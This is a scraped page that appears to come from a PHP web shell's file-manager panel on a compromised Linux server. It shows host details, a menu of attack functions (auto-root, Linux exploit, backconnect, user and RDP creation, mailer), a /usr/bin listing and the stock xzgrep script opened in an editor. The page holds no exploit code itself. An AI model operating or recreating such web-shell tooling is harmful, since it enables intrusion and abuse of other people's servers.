Linux localhost 4.18.0-553.85.1.el8_10.x86_64 #1 SMP
Apache/2.4.68 (Unix)
: | : 216.73.217.115
Cant Read [ /etc/named.conf ]
8.1.34
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
bin /
[ HOME SHELL ]
Name
Size
Permission
Action
[
63.53
KB
-rwxr-xr-x
animate
8.61
KB
-rwxr-xr-x
awk
763.51
KB
-rwxr-xr-x
b2sum
77.4
KB
-rwxr-xr-x
base32
55.69
KB
-rwxr-xr-x
base64
55.68
KB
-rwxr-xr-x
basename
46.9
KB
-rwxr-xr-x
basenc
69.75
KB
-rwxr-xr-x
bash
1.51
MB
-rwxr-xr-x
bashbug
6.7
KB
-r-xr-xr-x
bunzip2
282.37
KB
-rwxrwxr-x
bzcat
282.37
KB
-rwxrwxr-x
bzcmp
2.09
KB
-rwxrwxr-x
bzdiff
2.09
KB
-rwxrwxr-x
bzegrep
2.01
KB
-rwxrwxr-x
bzfgrep
2.01
KB
-rwxrwxr-x
bzgrep
2.01
KB
-rwxrwxr-x
bzip2
282.37
KB
-rwxrwxr-x
bzip2recover
28.73
KB
-rwxrwxr-x
bzless
1.23
KB
-rwxrwxr-x
bzmore
1.23
KB
-rwxrwxr-x
cat
52.81
KB
-rwxr-xr-x
chcon
88.21
KB
-rwxr-xr-x
chgrp
87.02
KB
-rwxr-xr-x
chmod
57.21
KB
-rwxr-xr-x
chown
87.2
KB
-rwxr-xr-x
chroot
60.1
KB
-rwxr-xr-x
cksum
51.06
KB
-rwxr-xr-x
col
23.88
KB
-rwxr-xr-x
comm
56.23
KB
-rwxr-xr-x
compare
12.69
KB
-rwxr-xr-x
composite
8.56
KB
-rwxr-xr-x
conjure
8.55
KB
-rwxr-xr-x
convert
8.55
KB
-rwxr-xr-x
cp
151.55
KB
-rwxr-xr-x
csplit
166.02
KB
-rwxr-xr-x
curl
320.79
KB
-rwxr-xr-x
cut
60.67
KB
-rwxr-xr-x
cvs
795.5
KB
-rwxr-xr-x
date
60.74
KB
-rwxr-xr-x
dd
88.95
KB
-rwxr-xr-x
df
102.88
KB
-rwxr-xr-x
diff
195.46
KB
-rwxr-xr-x
dir
174.98
KB
-rwxr-xr-x
dircolors
59.88
KB
-rwxr-xr-x
dirname
46.75
KB
-rwxr-xr-x
du
110.34
KB
-rwxr-xr-x
echo
50.54
KB
-rwxr-xr-x
egrep
28
B
-rwxr-xr-x
env
28.33
KB
-rwxr-xr-x
ex
4
MB
-rwxr-xr-x
expand
52
KB
-rwxr-xr-x
expr
160.28
KB
-rwxr-xr-x
factor
94.27
KB
-rwxr-xr-x
false
46.25
KB
-rwxr-xr-x
fgrep
28
B
-rwxr-xr-x
find
1.69
MB
-rwxr-xr-x
fmt
60.36
KB
-rwxr-xr-x
fold
51.55
KB
-rwxr-xr-x
ftp
171.21
KB
-rwxr-xr-x
funzip
30.25
KB
-rwxr-xr-x
gawk
763.51
KB
-rwxr-xr-x
geqn
144.41
KB
-rwxr-xr-x
git
4.47
MB
-rwxr-xr-x
git-cvsserver
159.46
KB
-rwxr-xr-x
git-receive-pack
4.47
MB
-rwxr-xr-x
git-shell
2.69
MB
-rwxr-xr-x
git-upload-archive
4.47
MB
-rwxr-xr-x
git-upload-pack
4.47
MB
-rwxr-xr-x
gpic
180.41
KB
-rwxr-xr-x
grep
320.13
KB
-rwxr-xr-x
groff
81.63
KB
-rwxr-xr-x
groups
51.22
KB
-rwxr-xr-x
gtar
655.36
KB
-rwxr-xr-x
gtbl
115.96
KB
-rwxr-xr-x
gunzip
2.28
KB
-rwxr-xr-x
gzexe
6.29
KB
-rwxr-xr-x
gzip
131.16
KB
-rwxr-xr-x
head
40.51
KB
-rwxr-xr-x
hostid
46.62
KB
-rwxr-xr-x
hostname
15.41
KB
-rwxr-xr-x
htpasswd
217.91
KB
-rwxrwxr-x
id
36.52
KB
-rwxr-xr-x
identify
8.6
KB
-rwxr-xr-x
import
8.6
KB
-rwxr-xr-x
info
398.34
KB
-rwxr-xr-x
install
181.31
KB
-rwxr-xr-x
install-info
151.73
KB
-rwxr-xr-x
jhead
79.46
KB
-rwxrwxr-x
join
77.8
KB
-rwxr-xr-x
kill
51.71
KB
-rwxr-xr-x
ksh
1.45
MB
-rwxr-xr-x
less
243.45
KB
-rwxr-xr-x
lessecho
12.98
KB
-rwxr-xr-x
lesskey
19.48
KB
-rwxr-xr-x
link
46.61
KB
-rwxr-xr-x
ln
90.14
KB
-rwxr-xr-x
locale
37.11
KB
-rwxr-xr-x
logname
46.66
KB
-rwxr-xr-x
ls
114.85
KB
-rwxr-xr-x
lzcat
310.7
KB
-rwxr-xr-x
lzcmp
7.41
KB
-rwxr-xr-x
lzdiff
7.41
KB
-rwxr-xr-x
lzegrep
10.17
KB
-rwxr-xr-x
lzfgrep
10.17
KB
-rwxr-xr-x
lzgrep
10.17
KB
-rwxr-xr-x
lzless
2.33
KB
-rwxr-xr-x
lzma
310.7
KB
-rwxr-xr-x
lzmadec
47.3
KB
-rwxr-xr-x
lzmainfo
62.14
KB
-rwxr-xr-x
lzmore
2.18
KB
-rwxr-xr-x
mail
383.67
KB
-rwxr-xr-x
makeinfo
52.86
KB
-rwxr-xr-x
man
100.44
KB
-rwxr-xr-x
mc
1.32
MB
-rwxr-xr-x
mcdiff
1.32
MB
-rwxr-xr-x
mcedit
1.32
MB
-rwxr-xr-x
mcview
1.32
MB
-rwxr-xr-x
md5sum
60.48
KB
-rwxr-xr-x
mkdir
77.9
KB
-rwxr-xr-x
mkfifo
88.56
KB
-rwxr-xr-x
mknod
92.85
KB
-rwxr-xr-x
mktemp
61.2
KB
-rwxr-xr-x
mogrify
8.55
KB
-rwxr-xr-x
montage
8.55
KB
-rwxr-xr-x
more
40.15
KB
-rwxr-xr-x
mv
127.3
KB
-rwxr-xr-x
mysql
9.1
MB
-rwx--x--x
mysqldump
8.25
MB
-rwx--x--x
mysqlimport
7.95
MB
-rwx--x--x
mysqlshow
7.95
MB
-rwx--x--x
nano
914.13
KB
-rwxr-xr-x
neqn
271
B
-rwxr-xr-x
nice
50.86
KB
-rwxr-xr-x
nl
153.14
KB
-rwxr-xr-x
nohup
51.47
KB
-rwxr-xr-x
nproc
51.19
KB
-rwxr-xr-x
nroff
3.31
KB
-rwxr-xr-x
numfmt
81.95
KB
-rwxr-xr-x
od
64.81
KB
-rwxr-xr-x
openssl
974.41
KB
-rwxr-xr-x
paste
51.22
KB
-rwxr-xr-x
pathchk
50.69
KB
-rwxr-xr-x
pdftexi2dvi
1.14
KB
-rwxr-xr-x
pear
830
B
-rwxr-xr-x
pear5
830
B
-rwxr-xr-x
perl
3.6
MB
-rwxr-xr-x
perl5
3.6
MB
-rwxr-xr-x
perl510
3.6
MB
-rwxr-xr-x
perl510pl
3.6
MB
-rwxr-xr-x
perl518
1.48
MB
-rwxr-xr-x
perl536
3.6
MB
-rwxr-xr-x
perl58
3.6
MB
-rwxr-xr-x
perl58pl
3.6
MB
-rwxr-xr-x
perl5pl
3.6
MB
-rwxr-xr-x
php
26.42
KB
-rwxrwxr-x
php3
16.61
MB
-rwxr-xr-x
php4
16.61
MB
-rwxr-xr-x
php43
16.61
MB
-rwxr-xr-x
php43pl
16.61
MB
-rwxr-xr-x
php44
16.61
MB
-rwxr-xr-x
php44pl
16.61
MB
-rwxr-xr-x
php5
16.61
MB
-rwxr-xr-x
php52
16.61
MB
-rwxr-xr-x
php53
26.42
KB
-rwxrwxr-x
php53es
15.44
MB
-rwxr-xr-x
php55
16.61
MB
-rwxr-xr-x
php56
26.42
KB
-rwxrwxr-x
php56es
16.61
MB
-rwxr-xr-x
php5pl
16.61
MB
-rwxr-xr-x
php70
26.42
KB
-rwxrwxr-x
php70es
16.21
MB
-rwxr-xr-x
php71
26.42
KB
-rwxrwxr-x
php71es
17.61
MB
-rwxr-xr-x
php72
26.42
KB
-rwxrwxr-x
php72es
20.37
MB
-rwxr-xr-x
php73
26.42
KB
-rwxrwxr-x
php73es
20.82
MB
-rwxr-xr-x
php74
26.42
KB
-rwxrwxr-x
php74es
22.37
MB
-rwxr-xr-x
php80
26.42
KB
-rwxrwxr-x
php80es
22.36
MB
-rwxr-xr-x
php81
26.42
KB
-rwxrwxr-x
php81es
24.53
MB
-rwxr-xr-x
php82
24.68
MB
-rwxr-xr-x
php83
26.71
MB
-rwxr-xr-x
php84
29.77
MB
-rwxr-xr-x
php85
32.79
MB
-rwxr-xr-x
phpdbg56
16.74
MB
-rwxr-xr-x
phpdbg70
16.43
MB
-rwxr-xr-x
phpdbg71
17.85
MB
-rwxr-xr-x
phpdbg72
20.61
MB
-rwxr-xr-x
phpdbg73
21.06
MB
-rwxr-xr-x
phpdbg74
22.38
MB
-rwxr-xr-x
phpdbg80
22.38
MB
-rwxr-xr-x
phpdbg81
24.54
MB
-rwxr-xr-x
phpdbg82
24.69
MB
-rwxr-xr-x
phpdbg83
26.72
MB
-rwxr-xr-x
phpdbg84
29.78
MB
-rwxr-xr-x
phpdbg85
32.81
MB
-rwxr-xr-x
pinky
56.7
KB
-rwxr-xr-x
pod2texi
19.93
KB
-rwxr-xr-x
postinstall.sh
518
B
-rwxr-xr-x
pr
101.19
KB
-rwxr-xr-x
printenv
46.52
KB
-rwxr-xr-x
printf
59.99
KB
-rwxr-xr-x
ptx
187.99
KB
-rwxr-xr-x
pwd
32.45
KB
-rwxr-xr-x
pydoc
88
B
-rwxrwxr-x
python
7.95
MB
-rwxr-xr-x
python2.7
7.95
MB
-rwxr-xr-x
python3
23.85
MB
-rwxr-xr-x
readlink
60.95
KB
-rwxr-xr-x
realpath
65.32
KB
-rwxr-xr-x
rm
61.4
KB
-rwxr-xr-x
rmdir
44.46
KB
-rwxr-xr-x
rnano
914.13
KB
-rwxr-xr-x
rsync
621.54
KB
-rwxr-xr-x
rsync-ssl
5.02
KB
-rwxr-xr-x
ruby
2.55
MB
-rwxr-xr-x
runcon
51.4
KB
-rwxr-xr-x
rview
4
MB
-rwxr-xr-x
rvim
4
MB
-rwxr-xr-x
scalar
2.74
MB
-rwxr-xr-x
scp
249.52
KB
-rwxrwxr-x
sed
74.29
KB
-rwxr-xr-x
seq
55.73
KB
-rwxr-xr-x
sh
941.93
KB
-rwxr-xr-x
sha1sum
60.49
KB
-rwxr-xr-x
sha224sum
60.85
KB
-rwxr-xr-x
sha256sum
60.85
KB
-rwxr-xr-x
sha384sum
60.85
KB
-rwxr-xr-x
sha512sum
60.85
KB
-rwxr-xr-x
shred
78.98
KB
-rwxr-xr-x
shuf
74.81
KB
-rwxr-xr-x
sleep
32.35
KB
-rwxr-xr-x
sort
114.94
KB
-rwxr-xr-x
split
75.23
KB
-rwxr-xr-x
ssh
1.01
MB
-rwxrwxr-x
ssh-keygen
613.59
KB
-rwxrwxr-x
stat
96.5
KB
-rwxr-xr-x
stdbuf
56.14
KB
-rwxr-xr-x
stream
8.55
KB
-rwxr-xr-x
stty
80.81
KB
-rwxr-xr-x
sum
60.15
KB
-rwxr-xr-x
sync
50.8
KB
-rwxr-xr-x
tac
148.66
KB
-rwxr-xr-x
tail
65.25
KB
-rwxr-xr-x
tar
655.36
KB
-rwxr-xr-x
tbl
115.96
KB
-rwxr-xr-x
tee
32.38
KB
-rwxr-xr-x
test
59.05
KB
-rwxr-xr-x
texi2any
52.86
KB
-rwxr-xr-x
texi2dvi
58.25
KB
-rwxr-xr-x
texi2pdf
1.14
KB
-rwxr-xr-x
texindex
3.9
KB
-rwxr-xr-x
timeout
57.35
KB
-rwxr-xr-x
touch
102.8
KB
-rwxr-xr-x
tr
64.63
KB
-rwxr-xr-x
true
46.24
KB
-rwxr-xr-x
truncate
55.15
KB
-rwxr-xr-x
tsort
63.86
KB
-rwxr-xr-x
tty
46.55
KB
-rwxr-xr-x
uname
32.3
KB
-rwxr-xr-x
uncompress
2.28
KB
-rwxr-xr-x
unexpand
52.05
KB
-rwxr-xr-x
uniq
60.84
KB
-rwxr-xr-x
unlink
46.62
KB
-rwxr-xr-x
unlzma
310.7
KB
-rwxr-xr-x
unxz
310.7
KB
-rwxr-xr-x
unzip
162.7
KB
-rwxr-xr-x
unzipsfx
78.64
KB
-rwxr-xr-x
uptime
64.64
KB
-rwxr-xr-x
users
51.21
KB
-rwxr-xr-x
vdir
174.98
KB
-rwxr-xr-x
vi
906.45
KB
-rwxr-xr-x
view
4
MB
-rwxr-xr-x
vim
4
MB
-rwxr-xr-x
vimdiff
4
MB
-rwxr-xr-x
wc
65.73
KB
-rwxr-xr-x
wget
621.87
KB
-rwxr-xr-x
whereis
20.2
KB
-rwxr-xr-x
who
61.02
KB
-rwxr-xr-x
whoami
46.7
KB
-rwxr-xr-x
wp
6.61
MB
-rwxr-xr-x
xargs
349.48
KB
-rwxr-xr-x
xxd
22.45
KB
-rwxr-xr-x
xz
310.7
KB
-rwxr-xr-x
xzcat
310.7
KB
-rwxr-xr-x
xzcmp
7.41
KB
-rwxr-xr-x
xzdec
96.67
KB
-rwxr-xr-x
xzdiff
7.41
KB
-rwxr-xr-x
xzegrep
10.17
KB
-rwxr-xr-x
xzfgrep
10.17
KB
-rwxr-xr-x
xzgrep
10.17
KB
-rwxr-xr-x
xzless
2.33
KB
-rwxr-xr-x
xzmore
2.18
KB
-rwxr-xr-x
yes
46.73
KB
-rwxr-xr-x
zcat
1.93
KB
-rwxr-xr-x
zcmp
1.64
KB
-rwxr-xr-x
zdiff
6.3
KB
-rwxr-xr-x
zegrep
29
B
-rwxr-xr-x
zfgrep
29
B
-rwxr-xr-x
zforce
2.03
KB
-rwxr-xr-x
zgrep
8.02
KB
-rwxr-xr-x
zip
219.59
KB
-rwxr-xr-x
zipcloak
109.42
KB
-rwxr-xr-x
zipgrep
2.88
KB
-rwxr-xr-x
zipinfo
162.7
KB
-rwxr-xr-x
zipnote
104.41
KB
-rwxr-xr-x
zipsplit
104.63
KB
-rwxr-xr-x
zless
2.38
KB
-rwxr-xr-x
zmore
1.79
KB
-rwxr-xr-x
znew
4.46
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : xzgrep
#!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later # xzgrep -- a wrapper around a grep program that decompresses files as needed # Adapted from a version sent by Charles Levert <charles@comm.polymtl.ca> # Copyright (C) 1998, 2001, 2002, 2006, 2007 Free Software Foundation # Copyright (C) 1993 Jean-loup Gailly # Modified for XZ Utils by Andrew Dudman and Lasse Collin. # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. #SET_PATH - This line is a placeholder to ease patching this script. # Instead of unsetting XZ_OPT, just make sure that xz will use file format # autodetection. This way memory usage limit and thread limit can be # specified via XZ_OPT. With gzip, bzip2, and lzop it's OK to just unset the # environment variables. xz='xz --format=auto' unset GZIP BZIP BZIP2 LZOP case ${0##*/} in *egrep*) prog=xzegrep; grep=${GREP:-grep -E};; *fgrep*) prog=xzfgrep; grep=${GREP:-grep -F};; *) prog=xzgrep; grep=${GREP:-grep};; esac version="$prog (XZ Utils) 5.6.3" usage="Usage: ${0##*/} [OPTION]... [-e] PATTERN [FILE]... Look for instances of PATTERN in the input FILEs, using their uncompressed contents if they are compressed. OPTIONs are the same as for '$grep'. Report bugs to <xz@tukaani.org>." # sed script to escape all ' for the shell, and then (to handle trailing # newlines correctly) turn trailing X on last line into '. escape=' s/'\''/'\''\\'\'''\''/g $s/X$/'\''/ ' operands= have_pat=0 files_with_matches=0 files_without_matches=0 no_filename=0 with_filename=0 # See if -H and --label options are supported (GNU and *BSDs). if test f:x = "$(eval "echo x | $grep -H --label=f x 2> /dev/null")"; then grep_supports_label=1 else grep_supports_label=0 fi while test $# -ne 0; do option=$1 shift optarg= case $option in (-[0123456789abcdEFGhHiIKlLnoPqrRsTuUvVwxyzZ]*[!0123456789]*) # Something like -Fiv was specified, that is, $option contains more # than one option of which the first option (in this example -F) # doesn't take an argument. Split the first option into a standalone # argument and continue parsing the rest of the options (in this example, # replace -Fiv with -iv in the argument list and set option=-F). # # If there are digits [0-9] they are treated as if they were a single # option character because this syntax is an alias for -C for GNU grep. # For example, "grep -25F" is equivalent to "grep -C25 -F". If only # digits are specified like "grep -25" we don't get here because the # above pattern in the case-statement doesn't match such strings. arg2=-\'$(LC_ALL=C expr "X${option}X" : 'X-.[0-9]*\(.*\)' | LC_ALL=C sed "$escape") eval "set -- $arg2 "'${1+"$@"}' option=$(LC_ALL=C expr "X$option" : 'X\(-.[0-9]*\)');; (--binary-*=* | --[lm]a*=* | --reg*=*) # These options require an argument and an argument has been provided # with the --foo=argument syntax. All is good. ;; (-[ABCDefmX] | --binary-* | --file | --[lm]a* | --reg*) # These options require an argument which should now be in $1. # If it isn't, display an error and exit. case ${1?"$option option requires an argument"} in (*\'*) optarg=" '"$(printf '%sX\n' "$1" | LC_ALL=C sed "$escape");; (*) optarg=" '$1'";; esac shift;; (--) break;; (-?*) ;; (*) case $option in (*\'*) operands="$operands '"$(printf '%sX\n' "$option" | LC_ALL=C sed "$escape");; (*) operands="$operands '$option'";; esac ${POSIXLY_CORRECT+break} continue;; esac case $option in (-[drRzZ] | --di* | --exc* | --inc* | --rec* | --nu*) printf >&2 '%s: %s: Option not supported\n' "$0" "$option" exit 2;; (-[ef]* | --file | --file=* | --reg*) have_pat=1;; (--h | --he | --hel | --help) printf '%s\n' "$usage" || exit 2 exit;; (-H | --wi | --wit | --with | --with- | --with-f | --with-fi \ | --with-fil | --with-file | --with-filen | --with-filena | --with-filenam \ | --with-filename) with_filename=1 continue;; (-l | --files-with-*) files_with_matches=1 continue;; (-L | --files-witho*) files_without_matches=1 continue;; (-h | --no-f*) no_filename=1;; (-V | --v | --ve | --ver | --vers | --versi | --versio | --version) printf '%s\n' "$version" || exit 2 exit;; esac case $option in (*\'?*) option=\'$(printf '%sX\n' "$option" | LC_ALL=C sed "$escape");; (*) option="'$option'";; esac grep="$grep $option$optarg" done eval "set -- $operands "'${1+"$@"}' if test $have_pat -eq 0; then case ${1?"Missing pattern; try '${0##*/} --help' for help"} in (*\'*) grep="$grep -e '"$(printf '%sX\n' "$1" | LC_ALL=C sed "$escape");; (*) grep="$grep -e '$1'";; esac shift fi if test $# -eq 0; then set -- - fi exec 3>&1 # res=1 means that no file matched yet res=1 for i; do case $i in *[-.][zZ] | *_z | *[-.]gz | *.t[ag]z) uncompress="gzip -cdf";; *[-.]bz2 | *[-.]tbz | *.tbz2) uncompress="bzip2 -cdf";; *[-.]lzo | *[-.]tzo) uncompress="lzop -cdf";; *[-.]zst | *[-.]tzst) uncompress="zstd -cdfq";; # zstd needs -q. *[-.]lz4) uncompress="lz4 -cdf";; *) uncompress="$xz -cdfqQ";; # -qQ to ignore warnings like unsupp. check. esac # xz_status will hold the decompressor's exit status. # Exit status of grep (and in rare cases, printf or sed) is # available as the exit status of this assignment command. xz_status=$( exec 5>&1 ($uncompress -- "$i" 5>&-; echo $? >&5) 3>&- | if test $files_with_matches -eq 1; then eval "$grep -q" && { printf '%s\n' "$i" || exit 2; } elif test $files_without_matches -eq 1; then eval "$grep -q" || { r=$? if test $r -eq 1; then printf '%s\n' "$i" || r=2 fi exit $r } elif test $with_filename -eq 0 && { test $# -eq 1 || test $no_filename -eq 1; }; then eval "$grep" elif test $grep_supports_label -eq 1; then # The grep implementation in use allows us to specify the filename # that grep will prefix to the output lines. This is faster and # less prone to security bugs than the fallback method that uses sed. # This also avoids confusing output with GNU grep >= 3.5 (2020-09-27) # which prints "binary file matches" to stderr instead of stdout. # # If reading from stdin, let grep use whatever name it prefers for # stdin. With GNU grep it is a locale-specific translated string. if test "x$i" = "x-"; then eval "$grep -H" else eval "$grep -H --label \"\$i\"" fi else # Append a colon so that the last character will never be a newline # which would otherwise get lost in shell command substitution. i="$i:" # Escape & \ | and newlines only if such characters are present # (speed optimization). case $i in (*' '* | *'&'* | *'\'* | *'|'*) # If sed fails, set i to a known safe string to ensure that # failing sed did not create a half-escaped dangerous string. i=$(printf '%s\n' "$i" | LC_ALL=C sed 's/[&\|]/\\&/g; $!s/$/\\/') || i='(unknown filename):';; esac # $i already ends with a colon so do not add it here. sed_script="s|^|$i|" # If grep or sed fails, pick the larger value of the two exit statuses. # If sed fails, use at least 2 since we use >= 2 to indicate errors. r=$( exec 4>&1 (eval "$grep" 4>&-; echo $? >&4) 3>&- | LC_ALL=C sed "$sed_script" >&3 4>&- ) || { sed_status=$? test "$sed_status" -lt 2 && sed_status=2 test "$r" -lt "$sed_status" && r=$sed_status } exit $r fi >&3 5>&- ) r=$? # If grep or sed or other non-decompression command failed with a signal, # exit immediately and ignore the possible remaining files. # # NOTE: Instead of 128 + signal_number, some shells use # 256 + signal_number (ksh) or 384 + signal_number (yash). # This is fine for us since their "exit" and "kill -l" commands take # this into account. (At least the versions I tried do but there is # a report of an old ksh variant whose "exit" truncates the exit status # to 8 bits without any special handling for values indicating a signal.) test "$r" -ge 128 && exit "$r" if test -z "$xz_status"; then # Something unusual happened, for example, we got a signal and # the exit status of the decompressor was never echoed and thus # $xz_status is empty. Exit immediately and ignore the possible # remaining files. exit 2 elif test "$xz_status" -ge 128; then # The decompressor died due to a signal. SIGPIPE is ignored since it can # occur if grep exits before the whole file has been decompressed (grep -q # can do that). If the decompressor died with some other signal, exit # immediately and ignore the possible remaining files. test "$(kill -l "$xz_status" 2> /dev/null)" != "PIPE" && exit "$xz_status" elif test "$xz_status" -gt 0; then # Decompression failed but we will continue with the remaining # files anyway. Set exit status to at least 2 to indicate an error. test "$r" -lt 2 && r=2 fi # Since res=1 is the initial value, we only need to care about # matches (r == 0) and errors (r >= 2) here; r == 1 can be ignored. if test "$r" -ge 2; then # An error occurred in decompressor, grep, or some other command. Update # res unless a larger error code has been seen with an earlier file. test "$res" -lt "$r" && res=$r elif test "$r" -eq 0; then # grep found a match and no errors occurred. Update res if no errors have # occurred with earlier files. test "$res" -eq 1 && res=0 fi done # 0: At least one file matched and no errors occurred. # 1: No matches were found and no errors occurred. # >=2: Error. It's unknown if matches were found. exit "$res"
Close